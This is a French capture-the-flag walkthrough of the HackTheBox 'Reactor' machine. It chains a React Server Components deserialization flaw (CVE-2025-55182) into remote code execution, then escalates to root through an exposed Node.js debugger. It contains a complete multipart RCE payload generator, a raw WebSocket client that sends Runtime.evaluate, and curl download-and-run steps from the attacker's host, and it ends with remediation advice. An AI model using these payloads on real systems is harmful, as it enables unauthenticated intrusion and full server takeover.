
Walkthrough complet de la machine Reactor de HTB — exploiter CVE-2025-55182 pour obtenir un shell, puis obtenir root via un débogueur Node.js exposé. Étape par étape avec captures d'écran.
[!CAUTION] Avertissement de spoiler. Ceci est un walkthrough complet avec les flags. Si vous voulez résoudre la machine vous-même, fermez ceci maintenant et revenez quand vous êtes bloqué.
| Champ | Détails |
|---|---|
| Nom | Reactor |
| OS | Ubuntu 24.04 LTS (Noble) |
| Difficulté | Moyenne |
| CVE | CVE-2025-55182 (CVSS 10.0) |
| Ports | 22 (SSH), 3000 (Next.js) |
| Auteur | sonnycroco |
Reactor est centré sur un tableau de bord de surveillance de centrale nucléaire appelé ReactorWatch. La machine repose entièrement sur deux vulnérabilités enchaînées : pas de devinettes, pas de fausses pistes, pas de force brute.
Le chemin : une version pré-release de React 19 expose une faille critique de désérialisation qui donne une exécution de code à distance non authentifiée avec une seule requête HTTP. De là, un port de débogage Node.js tournant en root donne un accès complet au système via un message WebSocket.
Chaîne d'attaque :
Unauthenticated HTTP POST
│
│ CVE-2025-55182 - React RSC multipart deserialization
▼
RCE as node (uid=999)
│
│ Root Node.js process with --inspect exposed on localhost
▼
CDP Runtime.evaluate -> RCE as root (uid=0)
│
├── user.txt ✓
└── root.txt ✓
La première chose à faire sur toute nouvelle machine est de découvrir ce qui écoute. Un scan complet des ports avec détection de services pour ne rien manquer.
nmap -sV -sC -T4 -p- --min-rate 5000 10.129.8.56
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16
3000/tcp open http Next.js 15.0.3

Seulement deux ports. SSH est une impasse à ce stade car nous n'avons pas encore d'identifiants. Le port 3000 est la cible. Nmap nous dit déjà qu'il s'agit de Next.js 15.0.3, ce qui est un bon indice.
Avant de jeter des exploits sur quoi que ce soit, je veux connaître la version exacte de tout ce qui tourne. Les en-têtes HTTP ont déjà révélé Next.js, mais la version de React est le détail critique. React 19 est resté longtemps en pré-release et présentait de sérieux problèmes avant la version stable.
Récupération d'un des chunks JavaScript côté client pour vérifier :
curl -s http://10.129.8.56:3000/_next/static/chunks/517-d083b552e04dead1.js \
| grep -oP '[0-9]+\.[0-9]+\.[0-9]+-rc-[a-z0-9-]+'
19.0.0-rc-66855b96-20241106
Ce rc dans la chaîne de version, c'est la preuve flagrante. Il s'agit d'une build release candidate de React 19, pas de la version stable. Les bases CVE le confirment : CVE-2025-55182 affecte exactement cette build. CVSS 10.0.
Pendant que j'y suis, je vérifie les en-têtes pour des indices sur le middleware :
X-Powered-By: Next.js
x-nextjs-cache: HIT
x-nextjs-prerender: 1
Aucun en-tête x-middleware-rewrite nulle part, ce qui signifie qu'aucun middleware Next.js n'est installé. Cela exclut CVE-2025-29927 (le contournement de middleware), une bonne chose à noter pour ne pas perdre de temps dessus.
Ce que nous savons :
experimental.serverActions activé19.0.0-rc, vulnérable à CVE-2025-55182
Les Server Components de React 19 ont introduit les Server Actions, des fonctions côté serveur appelables par le client via une requête HTTP POST avec un en-tête Next-Action. Le parseur de corps multipart qui gère ces requêtes présente une faille critique : il désérialise de manière non sécurisée un type de référence appelé $1:__proto__:then.
En concevant un corps multipart qui affecte _response._prefix à du JavaScript arbitraire, un attaquant fait évaluer ce code sur le serveur. La sortie est ensuite exfiltrée via une exception que Next.js utilise en interne pour les redirections (NEXT_REDIRECT), et se retrouve encodée en URL dans l'en-tête de réponse x-action-redirect.
Tout POST vers n'importe quelle page avec l'en-tête Next-Action déclenche cela. Aucune vérification d'authentification, aucun endpoint spécial. Il suffit d'envoyer la charge utile à / et vous êtes dedans.
Un petit script d'aide Python qui prend une commande shell en entrée, construit la charge utile multipart et l'écrit sur le disque pour que curl l'envoie :
# /tmp/make_rce.py
import sys
cmd = ' '.join(sys.argv[1:])
cmd_esc = cmd.replace("\\", "\\\\").replace("'", "\\'")
payload = (
b'------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n'
b'Content-Disposition: form-data; name="0"\r\n\r\n'
+ ('{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,'
'"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":'
'"var res=process.mainModule.require(\'child_process\').execSync(\''
+ cmd_esc +
'\').toString().trim();;throw Object.assign(new Error(\'NEXT_REDIRECT\'),'
'{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2",'
'"_formData":{"get":"$1:constructor:constructor"}}}').encode('utf-8')
+ b'\r\n------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n'
b'Content-Disposition: form-data; name="1"\r\n\r\n'
b'"$@0"\r\n'
b'------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n'
b'Content-Disposition: form-data; name="2"\r\n\r\n'
b'[]\r\n'
b'------WebKitFormBoundaryx8jO2oVc6SWP3Sad--'
)
with open('/tmp/rce_payload.bin', 'wb') as f:
f.write(payload)
Pour un rendu pseudo-shell, on enveloppe le tout dans une fonction shell :
rce() {
python3 /tmp/make_rce.py "$*" > /dev/null
curl -s -D /tmp/rh.txt -X POST "http://10.129.8.56:3000/" \
-H "Next-Action: x" \
-H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
--data-binary "@/tmp/rce_payload.bin" > /dev/null
grep -oP 'x-action-redirect: /login\?a=\K[^;]+' /tmp/rh.txt \
| python3 -c "import sys,urllib.parse; print(urllib.parse.unquote(sys.stdin.read().strip()))"
}
L'échange HTTP brut. La sortie de la commande est visible directement dans l'en-tête de redirection :
POST / HTTP/1.1
Host: 10.129.8.56:3000
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
[... multipart body ...]
HTTP/1.1 303 See Other
x-action-redirect: /login?a=uid=999(node) gid=988(node) groups=988(node);push
rce "id"
# uid=999(node) gid=988(node) groups=988(node)
Nous sommes dans le compte de service node. Pas d'authentification, pas de force brute, pas d'ingénierie sociale. Juste un POST HTTP. Voilà à quoi ressemble un CVSS 10.0 en pratique.

[!WARNING] Deux choses à savoir avant de continuer :
execSyncest synchrone et bloque le thread de réponse. N'essayez pas de lancer un reverse shell avec, utilisez plutôt leexec()asynchrone ou le serveur se bloquera.- Le template literal
NEXT_REDIRECTcasse sur les retours à la ligne. Toujours faire passer la sortie multi-lignes parpaste -sd,pour l'aplatir avant de l'envoyer dans l'URL.
nodeUne fois l'exécution de code établie, l'objectif suivant est de comprendre l'environnement : ce qu'il y a sur cette machine, quels identifiants traînent et s'il existe un chemin évident vers un utilisateur plus privilégié.
rce "cat /opt/reactor-app/.env | paste -sd,"
DB_PATH=/opt/reactor-app/reactor.db
SENSOR_API_KEY=rw_sk_7f8a9b2c3d4e5f6g7h8i9j0k
NODE_ENV=production
Il y a une base SQLite sur le disque. Vérifions ce qu'elle contient :
rce "sqlite3 /opt/reactor-app/reactor.db 'SELECT * FROM users' | paste -sd,"
1|admin|a203b22191d744a4e70ada5c101b17b8|administrator|[email protected]
Un compte admin avec un hash MD5. Le passer à John avec rockyou ne le casse pas. Ce n'est pas grave, le craquage de hash s'avère inutile une fois qu'on a trouvé le véritable chemin d'élévation de privilèges. On met ça de côté et on continue.
rce "cat /etc/passwd | grep -v nologin | grep -v false | paste -sd,"
root:x:0:0:root:/root:/bin/bash
engineer:x:1000:1000:engineer:/home/engineer:/bin/bash
Il y a un utilisateur nommé engineer. Le flag utilisateur se trouve dans son répertoire personnel.
[!NOTE] Sur certaines instances de cette machine,
/home/engineer/a des permissions700, ce qui signifie que le compte de servicenodene peut pas le lire directement. Si c'est le cas pour vous, pas de panique. Le chemin d'élévation de privilèges vers root décrit à l'étape 6 permet de lire les deux flags en tant que root.
rce "cat /home/engineer/user.txt"
f7b714f9fdf5c08a5f240668792aa13f
Si /home/engineer/ est verrouillé sur votre instance, passez à l'étape 6 et récupérez les deux flags en tant que root.
Une fois le pied dans la porte, je vérifie quels processus tournent sur la machine. Le ps aux complet est long, donc je filtre sur tout ce qui touche à Node.js :
rce "ps aux | grep -E 'inspect|node' | paste -sd,"
node 1415 next-server (v15.0.3)
root 1417 /usr/bin/node --inspect=127.0.0.1:9229 /opt/uptime-monitor/worker.js
Le voilà. Un second processus Node.js tournant en root, lancé avec le flag --inspect lié à 127.0.0.1:9229. Il s'agit d'un script de surveillance de disponibilité que quelqu'un a démarré avec le débogueur Node.js activé et laissé tourner.
Le flag --inspect ouvre le Chrome DevTools Protocol (CDP), le même protocole que celui utilisé par les outils de développement de votre navigateur. Quand vous vous y connectez, vous pouvez demander au processus d'évaluer du JavaScript arbitraire dans son propre contexte V8. Comme ce processus tourne en root, tout ce que vous évaluez tourne aussi en root.
Le seul obstacle est que le débogueur est lié à localhost, mais nous avons déjà une exécution de code sur la machine en tant que node, nous pouvons donc l'atteindre sans problème.
Confirmation que le débogueur est actif et récupération de l'URL WebSocket :
rce "curl -s http://127.0.0.1:9229/json | paste -sd,"
[{
"description": "node.js instance",
"id": "1d85ee80-b525-4bdc-91c4-f52f7054294f",
"title": "/opt/uptime-monitor/worker.js",
"type": "node",
"webSocketDebuggerUrl": "ws://127.0.0.1:9229/1d85ee80-b525-4bdc-91c4-f52f7054294f"
}]
[!IMPORTANT] L'UUID dans l'URL WebSocket (
1d85ee80-...) est unique pour chaque instance du processus. Le vôtre sera différent. Copiez-le depuis votre sortie JSON et mettez-le à jour dans le script d'exploit avant de l'exécuter.

Pour envoyer une commande Runtime.evaluate à l'inspecteur, nous avons besoin d'un client WebSocket. Le paquet npm ws n'est pas présent sur la cible, j'écris donc un client minimal de zéro en utilisant uniquement les modules intégrés de Node.js : net pour la connexion TCP et crypto pour le masquage des trames WebSocket.
const net = require('net');
const crypto = require('crypto');
// Update WS_ID to match your instance's UUID from /json
const WS_ID = '1d85ee80-b525-4bdc-91c4-f52f7054294f';
const CMD = 'process.mainModule.require("child_process").execSync("cat /root/root.txt").toString()';
function encodeFrame(data) {
const payload = Buffer.from(data, 'utf8');
const mask = crypto.randomBytes(4);
let headerLen = (payload.length < 126) ? 6 : 8;
const header = Buffer.alloc(headerLen);
header[0] = 0x81;
if (payload.length < 126) {
header[1] = 0x80 | payload.length;
mask.copy(header, 2);
} else {
header[1] = 0xfe;
header.writeUInt16BE(payload.length, 2);
mask.copy(header, 4);
}
const masked = Buffer.alloc(payload.length);
const maskStart = headerLen - 4;
for (let i = 0; i < payload.length; i++) {
masked[i] = payload[i] ^ header[maskStart + (i % 4)];
}
return Buffer.concat([header, masked]);
}
const sock = net.createConnection({ port: 9229, host: '127.0.0.1' });
let upgraded = false, chunks = Buffer.alloc(0);
sock.on('connect', () => {
sock.write(
`GET /${WS_ID} HTTP/1.1\r\n` +
`Host: 127.0.0.1:9229\r\n` +
`Upgrade: websocket\r\n` +
`Connection: Upgrade\r\n` +
`Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n` +
`Sec-WebSocket-Version: 13\r\n\r\n`
);
});
sock.on('data', (data) => {
chunks = Buffer.concat([chunks, data]);
if (!upgraded) {
const str = chunks.toString('utf8');
const sep = str.indexOf('\r\n\r\n');
if (sep === -1) return;
upgraded = true;
chunks = chunks.slice(Buffer.byteLength(str.slice(0, sep + 4)));
const msg = JSON.stringify({
id: 1,
method: 'Runtime.evaluate',
params: { expression: CMD, returnByValue: true }
});
sock.write(encodeFrame(msg));
return;
}
while (chunks.length > 2) {
const b1 = chunks[1] & 0x7f;
let payloadStart, payloadLen;
if (b1 < 126) { payloadLen = b1; payloadStart = 2; }
else { if (chunks.length < 4) return; payloadLen = chunks.readUInt16BE(2); payloadStart = 4; }
if (chunks.length < payloadStart + payloadLen) return;
process.stdout.write(chunks.slice(payloadStart, payloadStart + payloadLen).toString() + '\n');
sock.destroy();
process.exit(0);
}
});
sock.on('error', (e) => { process.stderr.write(e.message + '\n'); process.exit(1); });
setTimeout(() => { process.stderr.write('timeout\n'); process.exit(1); }, 8000);
[!WARNING] Dans un appel CDP
Runtime.evaluate, la fonctionrequire()nue n'est pas dans la portée globale, même siworker.jsest lui-même un module CommonJS. Vous devez utiliserprocess.mainModule.require(...). Utiliserrequire()tel quel lèvera une ReferenceError et ne produira aucune sortie.
On sert le script depuis la machine d'attaque :
python3 -m http.server 8080 --directory /tmp/www &
Téléchargement et exécution sur la cible via la chaîne RCE :
rce "curl -s http://<YOUR_IP>:8080/exploit.js -o /tmp/exploit.js && echo ok"
rce "node /tmp/exploit.js 2>&1 | paste -sd,"
Réponse :
{"id":1,"result":{"result":{"type":"string","value":"uid=0(root) gid=0(root) groups=0(root)\n"}}}
Nous évaluons du JavaScript arbitraire dans un processus tournant avec uid=0.

Même exploit, commande différente dans CMD :
rce "node /tmp/exploit_root.js 2>&1 | paste -sd,"
{"id":1,"result":{"result":{"type":"string","value":"5c091a1960eb124c53910c1a1f456334\n"}}}
root.txt: 5c091a1960eb124c53910c1a1f456334

Temps total entre la première requête et root : moins de 10 minutes une fois que vous comprenez le CVE. Pas de force brute, pas de craquage de mot de passe, pas de fausses pistes.
CVE-2025-29927 (contournement du middleware) a fait les gros titres en même temps que CVE-2025-55182. Vérifiez toujours si le middleware est réellement présent avant de tester son contournement. La présence ou l'absence de l'en-tête de réponse x-middleware-rewrite vous le dit immédiatement. Courir après le mauvais CVE est une perte de temps facile.
execSync cassera les reverse shellsIl bloque tout le thread de réponse du serveur jusqu'à la sortie du sous-processus. Lancer bash -i ou un shell netcat via cette fonction bloquera les deux côtés. Utilisez plutôt le exec() asynchrone de child_process si vous avez besoin d'un shell interactif via cet exploit.
La sortie de la commande est insérée dans un template literal JavaScript : NEXT_REDIRECT;push;/login?a=${res};307;. Tout retour à la ligne dans res casse le template literal et ne renvoie rien. Passez tout par paste -sd, pour joindre les lignes avant l'exfiltration.
require n'est pas global dans le contexte CDPQuand vous envoyez Runtime.evaluate à un inspecteur Node.js, vous exécutez du code dans un isolate V8 qui n'expose pas la fonction CommonJS require globalement, même si le processus cible est lui-même un module CommonJS. Utilisez toujours process.mainModule.require("module") dans les expressions CDP.
Sur certaines instances de cette machine, le compte de service node peut lire /home/engineer/user.txt directement. Sur d'autres, les permissions 700 du répertoire personnel le bloquent. Le chemin d'élévation de privilèges vers root fonctionne toujours et donne les deux flags quel que soit le cas.
| Vulnérabilité | Correctif |
|---|
| CVE-2025-55182 | Mettez à niveau React de 19.0.0-rc vers la version stable de React 19. Mettez à niveau Next.js vers la version 15.2.3 ou supérieure. |
Node.js --inspect en root | Supprimez entièrement --inspect de tous les processus de production. Ne liez jamais l'inspecteur à une adresse, même 127.0.0.1, sur des systèmes partagés. Utilisez un environnement isolé dédié au débogage. |
| Base SQLite dans le répertoire de l'application | Déplacez la base de données hors de la racine web. Restreignez les permissions du système de fichiers pour que le processus web ne puisse accéder qu'à ce dont il a strictement besoin. |